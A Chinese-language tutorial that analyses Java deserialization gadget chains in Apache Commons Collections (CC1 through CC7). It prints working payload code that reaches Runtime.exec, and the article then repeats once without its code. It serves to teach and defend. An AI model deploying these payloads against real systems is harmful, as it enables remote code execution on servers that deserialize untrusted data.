JAVA反序列化—CC链的前世今生
字数 2446 2025-08-10 12:17:54

Java反序列化漏洞分析:Commons Collections链(CC链)详解

一、Commons Collections简介

Commons Collections是Apache软件基金会的项目,对Java标准库中的Collections进行了扩展,提供了更多集合处理方法和性能优化。它包含了一系列Transformer接口实现,这些接口在反序列化漏洞中被广泛利用。

二、环境搭建

分析CC链需要搭建特定环境:

  • JDK版本:JDK8u65(可从Oracle官网下载)
  • 配置步骤:
    1. 下载并解压JDK8u65
    2. 下载对应源码包(http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4)
    3. 解压源码中的sun包到JDK的src目录
    4. 在IDEA的Project Structure中添加src包到Sourcepath

三、CC1链分析

1. 核心漏洞点

CC1链的核心漏洞点是InvokerTransformer.transform()方法,该方法可以通过反射执行任意方法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (...) {
        // 异常处理
    }
}

2. 命令执行构造

正常执行命令的方式:

Runtime.getRuntime().exec("calc");

通过反射执行命令:

Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

转换为InvokerTransformer形式:

InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec", 
    new Class[]{String.class}, 
    new Object[]{"calc"}
);
invokerTransformer.transform(Runtime.getRuntime());

3. 调用链构造

寻找调用transform的方法:

  1. TransformedMap.checkSetValue()调用了transform
  2. TransformedMap.decorate()可以控制valueTransformer
  3. 通过Map.Entry.setValue()触发checkSetValue

完整调用链:

InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec",
    new Class[]{String.class},
    new Object[]{"calc"}
);
HashMap map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
map.put("key","value");

for (Map.Entry entry: transformedMap.entrySet()) {
    entry.setValue(Runtime.getRuntime());
}

4. 结合AnnotationInvocationHandler

利用AnnotationInvocationHandler.readObject()自动触发:

Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = AnnotationInvocationHandler.getConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,transformedMap);

5. 解决Runtime序列化问题

Runtime未实现Serializable,解决方案:

  1. 使用Runtime.class代替Runtime对象
  2. 通过反射链获取Runtime实例:
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

6. 绕过AnnotationInvocationHandler检查

使用Retention注解代替Override,并设置key为"value":

map.put("value","bbb");
Object o = constructor.newInstance(Retention.class,transformedMap);

7. 最终Payload

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

HashMap map = new HashMap();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","bbb");

Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformedMap);

四、CC1链变种(LazyMap版)

1. 核心差异点

使用LazyMap.get()代替TransformedMap.checkSetValue()

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

2. 调用链构造

通过AnnotationInvocationHandler.invoke()触发:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Object result = memberValues.get(member);
    // ...
}

3. 动态代理技巧

使用两个AnnotationInvocationHandler,第一个的memberValues为代理第二个的动态代理:

Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);

Class AIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHC = AIH.getDeclaredConstructor(Class.class, Map.class);
AIHC.setAccessible(true);

InvocationHandler AIHCIH = (InvocationHandler) AIHC.newInstance(Override.class, lazymap);
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, AIHCIH);

Object o = AIHC.newInstance(Override.class, mapproxy);

五、CC6链分析

1. 背景

JDK8u71修复了CC1链:

  • 移除了AnnotationInvocationHandler.readObject()中对checkSetValue的操作
  • memberValues设置为客户端不可控

2. 新调用链

利用HashMap.hash()触发:

  1. HashMap.readObject()遍历Map并调用每个key的hashCode
  2. TiedMapEntry.hashCode()调用getValue()
  3. getValue()调用get()

3. Payload构造

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");

HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");

// 反射修改factory
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);
lazymap.remove("123");

六、CC3链分析(动态类加载)

1. 核心思路

利用ClassLoader.defineClass()动态加载恶意类,而非直接执行命令。

2. 关键类分析

TemplatesImpl类:

  • defineTransletClasses():动态加载类
  • getTransletInstance():实例化加载的类
  • newTransformer():公开方法触发整个流程

3. 恶意类要求

恶意类必须:

  1. 继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
  2. 实现必要方法

示例恶意类:

public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("open -na Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    
    @Override public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

4. Payload构造

TemplatesImpl templates = new TemplatesImpl();

// 设置_name
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");

// 设置_bytecodes
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

// 设置_tfactory
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

// 触发链
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
});

// 后续与CC1相同

七、CC3链变种(InvokeTransformer被禁用)

1. 替代方案

使用TrAXFilterInstantiateTransformer

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(
    new Class[]{Templates.class}, 
    new Object[]{templates}
);
instantiateTransformer.transform(TrAXFilter.class);

2. 完整Payload

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});

八、CC4链分析

1. 核心特点

利用TransformingComparator(在CC4中变为可序列化):

public int compare(Object obj1, Object obj2) {
    Object value1 = this.transformer.transform(obj1);
    Object value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

2. 调用链

  1. PriorityQueue.readObject()调用heapify()
  2. heapify()调用siftDown()
  3. siftDown()调用compare()

3. Payload构造

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null)
});

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

// 反射修改transformer
Field transformer = transformingComparator.getClass().getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer);

九、CC5链分析

1. 入口点

BadAttributeValueExpException.readObject()调用toString()

2. 调用链

  1. TiedMapEntry.toString()调用getValue()
  2. getValue()调用LazyMap.get()

3. Payload构造

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");

BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, tiedMapEntry);

十、CC7链分析

1. 入口点

HashTable.readObject()调用equals()

2. 调用链

  1. AbstractMap.equals()调用get()
  2. LazyMap.get()触发命令执行

十一、防御措施

  1. 升级Commons Collections到最新版本
  2. 使用SerialKiller等防护工具
  3. 配置反序列化过滤器
  4. 避免反序列化不可信数据

十二、总结

CC链展示了Java反序列化的强大威力,通过精心构造的调用链,攻击者可以在目标系统上执行任意代码。理解这些漏洞的原理和构造方式,对于开发安全的Java应用程序和进行有效的代码审计至关重要。

Java反序列化漏洞分析:Commons Collections链(CC链)详解 一、Commons Collections简介 Commons Collections是Apache软件基金会的项目,对Java标准库中的Collections进行了扩展,提供了更多集合处理方法和性能优化。它包含了一系列Transformer接口实现,这些接口在反序列化漏洞中被广泛利用。 二、环境搭建 分析CC链需要搭建特定环境: JDK版本:JDK8u65(可从Oracle官网下载) 配置步骤: 下载并解压JDK8u65 下载对应源码包(http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4) 解压源码中的sun包到JDK的src目录 在IDEA的Project Structure中添加src包到Sourcepath 三、CC1链分析 1. 核心漏洞点 CC1链的核心漏洞点是 InvokerTransformer.transform() 方法,该方法可以通过反射执行任意方法: 2. 命令执行构造 正常执行命令的方式: 通过反射执行命令: 转换为 InvokerTransformer 形式: 3. 调用链构造 寻找调用 transform 的方法: TransformedMap.checkSetValue() 调用了 transform TransformedMap.decorate() 可以控制 valueTransformer 通过 Map.Entry.setValue() 触发 checkSetValue 完整调用链: 4. 结合AnnotationInvocationHandler 利用 AnnotationInvocationHandler.readObject() 自动触发: 5. 解决Runtime序列化问题 Runtime未实现Serializable,解决方案: 使用 Runtime.class 代替 Runtime 对象 通过反射链获取Runtime实例: 6. 绕过AnnotationInvocationHandler检查 使用 Retention 注解代替 Override ,并设置key为"value": 7. 最终Payload 四、CC1链变种(LazyMap版) 1. 核心差异点 使用 LazyMap.get() 代替 TransformedMap.checkSetValue() : 2. 调用链构造 通过 AnnotationInvocationHandler.invoke() 触发: 3. 动态代理技巧 使用两个 AnnotationInvocationHandler ,第一个的 memberValues 为代理第二个的动态代理: 五、CC6链分析 1. 背景 JDK8u71修复了CC1链: 移除了 AnnotationInvocationHandler.readObject() 中对 checkSetValue 的操作 memberValues 设置为客户端不可控 2. 新调用链 利用 HashMap.hash() 触发: HashMap.readObject() 遍历Map并调用每个key的 hashCode TiedMapEntry.hashCode() 调用 getValue() getValue() 调用 get() 3. Payload构造 六、CC3链分析(动态类加载) 1. 核心思路 利用 ClassLoader.defineClass() 动态加载恶意类,而非直接执行命令。 2. 关键类分析 TemplatesImpl 类: defineTransletClasses() :动态加载类 getTransletInstance() :实例化加载的类 newTransformer() :公开方法触发整个流程 3. 恶意类要求 恶意类必须: 继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 实现必要方法 示例恶意类: 4. Payload构造 七、CC3链变种(InvokeTransformer被禁用) 1. 替代方案 使用 TrAXFilter 和 InstantiateTransformer : 2. 完整Payload 八、CC4链分析 1. 核心特点 利用 TransformingComparator (在CC4中变为可序列化): 2. 调用链 PriorityQueue.readObject() 调用 heapify() heapify() 调用 siftDown() siftDown() 调用 compare() 3. Payload构造 九、CC5链分析 1. 入口点 BadAttributeValueExpException.readObject() 调用 toString() 2. 调用链 TiedMapEntry.toString() 调用 getValue() getValue() 调用 LazyMap.get() 3. Payload构造 十、CC7链分析 1. 入口点 HashTable.readObject() 调用 equals() 2. 调用链 AbstractMap.equals() 调用 get() LazyMap.get() 触发命令执行 十一、防御措施 升级Commons Collections到最新版本 使用SerialKiller等防护工具 配置反序列化过滤器 避免反序列化不可信数据 十二、总结 CC链展示了Java反序列化的强大威力,通过精心构造的调用链,攻击者可以在目标系统上执行任意代码。理解这些漏洞的原理和构造方式,对于开发安全的Java应用程序和进行有效的代码审计至关重要。